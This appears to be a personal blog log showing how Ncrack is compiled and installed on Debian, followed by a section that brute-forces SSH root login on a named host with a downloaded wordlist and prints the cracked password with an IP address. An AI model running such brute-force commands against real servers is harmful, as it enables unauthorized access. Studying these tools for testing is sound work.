install ncrack | zuhdi.org

Install Ncrack

Environment

  • Debian 9.7 x64
  • GCC 6.3.0 20170516
  • OpenSSL 1.1.0j 20 Nov 2018
  • Ncrack 0.7

Excerpt

Log 2019 / 05

1. Pre

root@athos:~# apt-get update && apt-get -y upgrade && apt-get -y dist-upgrade

apt-get -y --no-install-recommends install git build-essential \
  libssl-dev lib32z1-dev

root@athos:~# apt-get -y --no-install-recommends install git build-essential \
>   libssl-dev lib32z1-dev

2. Compile ncrack

root@athos:~# git clone https://github.com/nmap/ncrack.git
Cloning into 'ncrack'...
remote: Enumerating objects: 32, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (28/28), done.
remote: Total 6057 (delta 8), reused 14 (delta 4), pack-reused 6025
Receiving objects: 100% (6057/6057), 9.67 MiB | 3.36 MiB/s, done.
Resolving deltas: 100% (4332/4332), done.

root@athos:~# cd ncrack/

root@athos:~/ncrack# ./configure --help

root@athos:~/ncrack# ./configure
(truncated)
               ~00000
              00000000
             ,000$ 0$+~
             $=0=  .0+0
             000    000
            :000    0~0
            0000.    0
            00000     .
           .000000
           0?= +.,.
          ,?00.$000
          00000~.:~0
          .$+00~?~000
          :00000.=0000
          ?00?00+=:  ,0,
     00000..0000~ 000000.   $0
    00..0~0?0::00,?0::?$0.  00 ~
   .0.   ,0?00000.0$,+,000.00 $00
   0.   00.?00=00000~0+0:0000?0,~0?.
  .0  +00   0+0000 0000=?~0000?00 00
 .: .~~   .000=00000~00=000000+0.0~0$$.
 00 ,    ?00.. 000~000000000000.:0.0:0~   0$00.+
00.0    00   00?~000~000000000+00   + ~0000000000=$0000
   $   00   00.   .00,000000000000$.00000.    .0000+$+~00
  0   00  .0       000000000?~0000000.   0.   .0$000000+$0
 0    0   0     000:$~0000=0.0000,$.       00   0000000000
     0   00    ?.0000      $0 0 .                     .0000
   .     $    ?000.                                     0 0
        0     +~?000
       0.    :000000?0     |=------=[ Ncrack ]=------=|
             0000$?+00
             00+0:~0$0+
             .0$000?00
               0?000000
                  .000~0
Configuration complete.  Type make (or gmake on some *BSD machines) to compile.

root@phoenix:~/ncrack# make
(truncated)
Ncrack compiled successfully!
make[1]: Leaving directory '/root/ncrack'

root@athos:~/ncrack# make install
/usr/bin/install -c -d /usr/local/bin /usr/local/share/man/man1 /usr/local/share/ncrack
/usr/bin/install -c -c -m 755 ncrack /usr/local/bin/ncrack
/usr/bin/strip /usr/local/bin/ncrack
/usr/bin/install -c -c -m 644 docs/ncrack.1 /usr/local/share/man/man1/
/usr/bin/install -c -c -m 644 ncrack-services /usr/local/share/ncrack/
/usr/bin/install -c -c -m 644 lists/* /usr/local/share/ncrack/
NCRACK SUCCESSFULLY INSTALLED

root@athos:~/ncrack# cd

root@athos:~# which ncrack
/usr/local/bin/ncrack

root@athos:~# ncrack --version
Ncrack version 0.7 ( http://ncrack.org )
Modules: SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, 
SIP, Redis, PostgreSQL, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM

3. Bruteforce SSH

wget -q \
  http://download.openwall.net/pub/wordlists/languages/English/1-tiny/lower.gz

root@athos:~# wget -q \
>   http://download.openwall.net/pub/wordlists/languages/English/1-tiny/lower.gz

root@athos:~# gunzip -c lower.gz > wordlist.txt

nohup ncrack -p 22 -v --user root -P wordlist.txt \
  chimera.host > my_output &

root@athos:~# nohup ncrack -p 22 -v --user root -P wordlist.txt \
>   chimera.host > my_output &
nohup: ignoring input and redirecting stderr to stdout
[1] 17040

root@athos:~# cat my_output
Starting Ncrack 0.7 ( http://ncrack.org ) at 2019-05-23 04:55 UTC

Discovered credentials on ssh://128.199.206.153:22 'root' 'zucchini'
ssh://128.199.206.153:22 finished.

Discovered credentials for ssh on 128.199.206.153 22/tcp:
128.199.206.153 22/tcp ssh: 'root' 'zucchini'

Ncrack done: 1 service scanned in 3269.76 seconds.
Probes sent: 7081 | timed-out: 0 | prematurely-closed: 2505

Ncrack finished.

Hugo. Malte Kiefer & Zuhdi Najib.